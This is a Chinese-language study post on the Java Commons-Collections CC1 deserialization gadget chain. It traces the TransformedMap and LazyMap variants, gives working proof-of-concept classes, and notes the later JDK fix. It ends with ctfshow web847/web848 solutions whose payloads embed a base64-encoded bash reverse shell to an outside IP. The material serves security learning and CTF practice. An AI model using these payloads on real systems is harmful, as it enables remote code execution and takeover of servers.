前言
连一刻也没有为放假的到来欣喜,立刻加入战场的是——CommonsCollections1链!
https://ph0ebus.cn/post/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommonsCollections1%E9%93%BE.html
以及p神的《java安全漫谈》
调试环境:
IDEA + jdk8u65(注:国内的Oracle下载jdk8u65被重定向到111版本了,建议用国外的Oracle下)
先上一张cc链总结的图,来自:https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20220407-cc_analysis.html#%E6%80%BB%E7%BB%93
准备
CC链全称CommonsCollections(Java常用的一个库)
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>maven</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
</project>
其实调试的话建议参考boogipop的方法,去下载对应版本的java源码,这里是sun包复制到jdk的src里,最后在Project Struct里添加一下src路径,这样调试的时候就不是反编译的 class 而是原始的 java 文件了
利用环境
调用了 commons-collections 库
简化demo
p牛的极简payload
package com.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
分析
稍微看一下p牛的demo或者ysoserial的cc1都可以发现,cc1链会涉及到以下的接口和类
下一个断点调试一下
tips: ctrl+alt+B 可以查看实现接口的类
Transformer 接口
public interface Transformer {
Object transform(Object var1);
}
它只有一个待实现的transform
方法,也是下面几个方法的基础,这个过程就类似在调用⼀个”回调函数“,这个回调的参数是原始对象
ConstantTransformer
这是一个实现了 Transformer 接口的一个类,在构造函数的时候传入一个对象,并在 transform 方法将这个对象再返回
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
作用是包装任意一个对象,在执行回调时返回这个对象
ChainedTransformer
把内部的多个 Transformer 串在一起,即形成调用链
同样是实现了 Transformer 接口的类,作用是把内部的多个 Transformer 串在一起,即上一个回调返回的结果会作为下一个回调的参数传入
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
核心——InvokerTransformer
执行任意方法
Invoke,这就不用多说了,实现了 Transformer 接口的类,能够执行任意方法,也是反序列化执行任意代码的关键
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
三个参数,第⼀个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
下面回调的 transform 方法,就是执行了 input 对象的 iMethodName 方法
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
接下来我们尝试通过调用这个类来命令执行:
package com.example.cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
//import java.lang.reflect.Method;
public class invokeTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
// 通过反射进行命令执行的方式
// Class c = Runtime.class;
// Method method = c.getDeclaredMethod("exec", String.class);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
根据构造方法构造 exp,因为是 public 的方法,这里无需反射
注意这里最后一句是invokerTransformer.transform(runtime);
,所以我们接下来要找调用transform
方法的不同名函数
tips: ctrl+alt+shift+f7可以查询这个方法所有的用法
最后选择checkSetValue
,然后跟valueTransformer
,在 TransformedMap 的构造方法里面发现调用
TransformedMap
TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新的元素时,将可以执行一个回调(这里不是指传统的回调函数,而是一个实现了 Transformer 接口的类)
因为构造方法作用域是 protected ,接下来要找调用了 TransformedMap 的构造方法,最终在decorate()
中找到
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
其中,keyTransformer 是处理新元素的Key的回调,valueTransformer 是处理新元素的value的回调
下面这一段就是展示了如何调用decorate
:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
setValue
至此,decorate 的链子走到头了,我们需要回到checkSetValue
重新找链子,继续查找用法
进去发现parent.checkSetValue(value);
这里是个抽象类,是TransformedMap
的父类
可以看到调用 checkSetValue
方法的类是 AbstractInputCheckedMapDecorator
类中的一个内部类 MapEntry
setValue()
实际上就是在 Map 中对一组 entry(键值对)进行 setValue()
操作,跟一下setValue(Object value)
就会发现
只需要是个 Map 就能触发
所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
调试一下,测试遍历 Map 时会不会进 setValue:
package com.example.cc1;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class setValueTest {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
}
}
果然进了,而且弹计算器了,说明成功从这里进 checkSetValue 了
那么剩下的问题就是找到一个 readObject()
里面有调用 setValue()
流程
回到demo
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
这里创建了一个 ChainedTransformer ,其中包含两个 Transformer:
第一个是ConstantTransformer
,返回当前环境的Runtime对象
第二个是InvokerTransformer
,执行Runtime对象的exec方法,即命令执行
在 transformerChain 执行回调之后,我们需要用其来包装 innerMap ,即前面提的TransformedMap.decorate
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后向 Map 中放入一个元素触发回调
outerMap.put("test", "xxxx");
构造可利用的序列化对象poc
前面构造了一个简单的demo,现在我们要结合反射机制构造出一个真正可用的poc
我们在前面说过,触发这个漏洞的核心在于向Map加入一个新的元素,我们的链子是利用TransformedMap,国外的cc1链是用Lazymap的,不过这两种方法都差不多
在demo中,我们是手工执行outerMap.put("test", "xxxx");
来触发漏洞,而在实际的反序列化中,我们需要找到一个类,在其反序列化的 readObject 逻辑里有类似的写入操作
AnnotationInvocationHandler
在 Map 里的 setValue 处查找用法,可以找到我们的目标类
这个类是sun.reflect.annotation.AnnotationInvocationHandler
,看一下它的 readobject 方法(jdk8u71前)(可以在github上看一下对应源码)
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
根据我们上面说的写入Map,那么对应的核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet()
和memberValue.setValue
memberValues 是反序列化后得到的Map,即肯定是经过 TransformedMap 修饰的对象,遍历元素调用 setValue
设置值时就会触发 TransformedMap 里注册的 Transform,从而进到我们的链子中
所以我们的poc需要创建一个 AnnotationInvocationHandler 对象,并将前面 innerMap 的 HashMap 设置进来
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
前面分析AnnotationInvocationHandler源码的时候我们知道这是一个private类,不能直接使用new来实例化,因此我们需要用反射来获取它的构造方法,并且设置成外部可见的,再次调用就可以实例化了,而为什么用Retention.class
呢,下面会提到
反射调用
上面构造的AnnotationInvocationHandler对象是我们反序列化利用链的起点,那么就来生成序列化流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
注意:只有实现了java.io.Serializable
接口的对象才支持序列化
而之前传给ConstantTransformer的Runtime.getRuntime()
类是没有实现这个接口的,所以我们需要通过反射来获取当前上下文的 Runtime 对象,从而避免直接使用这个类:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\Windows\\System32\\calc.exe")
拼进 Transformer :
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "C:\\Windows\\System32\\calc.exe" }),
};
利用注解进setValue
上面合起来的poc:
package com.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "C:\\Windows\\System32\\calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o =(Object) ois.readObject();
}
}
此时执行还不能弹出计算器,我们下断点在 AnnotationInvocationHandler 的 readObject 上
一路跟进到这里,if语句对var7
进行判断,只有在其值不是null 的时候才会调用setValue
为了让var7
不为null,我们需要下个断点在前面的AnnotationType.getInstance
和var2.memberTypes
上
接下来有点懒得跟,先看看pop✌的吧(
先说结论:
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是Annotation的子类,且其中必须含有至少⼀个方法,假设方法名是X
- 被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为 X 的元素
所以之前用到Retention.class
的原因是因为 Retention 有⼀个方法,名为 value
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
/**
* Returns the retention policy.
* @return the retention policy
*/
RetentionPolicy value();
}
然后为了满足第二个条件,我们需要给Map中放入⼀个key是value的元素
innerMap.put("value", "xxxx");
最终poc
package com.example.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\\Windows\\System32\\calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o =(Object) ois.readObject();
}
}
Gadget
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap
ysoserial上的cc1
这部分由于和前面的研究相隔有一段时间,会描述的更简单一些
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
LazyMap
LazyMap 和 TransformedMap 都来自于 Common-Collections 库。但 LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是:TransformedMap 是在写入元素的时候执行 transform ,而 LazyMap 是在其 get 方法中执行的 factory.transform。
LazyMap,顾名思义,懒加载,在 get 找不到值的时候,它会调用factory.transform
方法去获取一个值
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
相比TransformedMap,LazyMap的利用更加复杂,因为 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法中并没有直接调用到 Map 的 get 方法。但 AnnotationInvocationHandler 类的 invoke 方法有调用到 get
而为了调用AnnotationInvocationHandler#invoke
,我们需要使用到java的动态代理机制:https://c1oudfl0w0.github.io/blog/2023/07/15/Java%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F/#JDK%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86
在 AnnotationInvocationHandler 类中,进行动态代理的部分就是开头两行:(这里直接用boogipop博客里的源码图比较直观)
我们把 Annotationinvocationhandler 用 proxy 包裹,再包裹进 Map 数组,就可以调用 invoke 方法
构造利用链
在前面TransformedMap poc的基础上,先用 LazyMap 代替 TransformedMap
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后对 Annotationinvocationhandler 对象进行proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
// 创建原始对象
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
// 完成 InvocationHandler 代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
// 调用 Proxy.newProxyInstance
代理后的对象是 proxyMap,但我们不能直接对其进行反序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以还需要用 AnnotationInvocationHandler 对这个 proxyMap 进行包裹,这一点和前面 TransformedMap 是一样的
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
最终poc
package com.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
高版本修复
jdk8u71以后,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler
的 readObject 函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d
改动后,不再直接使用反序列化得到的Map对象,而是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去,所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而我们的Map不会执行任何操作也就不能rce了
所以又产生了其它新的cc链
实战
ctfshow web847
提交ctfshow参数进行base64解码
然后进行反序列化
我是java7,使用了commons-collections 3.1的库
为了保证业务安全,我删除了nc和curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
先试试Transformer的链子
package com.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvNDI4MjIgMD4mMQ==}|{base64,-d}|{bash,-i}" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
}
成功getshell
ctfshow web848
提交ctfshow参数进行base64解码
然后进行反序列化
我是java7,使用了commons-collections 3.1的库
为了保证业务安全,我删除了nc和curl命令
甚至不准用TransformedMap类反序列化
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));
不让用 TransformedMap 链,那就用 LazyMap 链
poc:
package com.cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] { "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvNDE2NzggMD4mMQ==}|{base64,-d}|{bash,-i}" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
handler = (InvocationHandler)
construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
}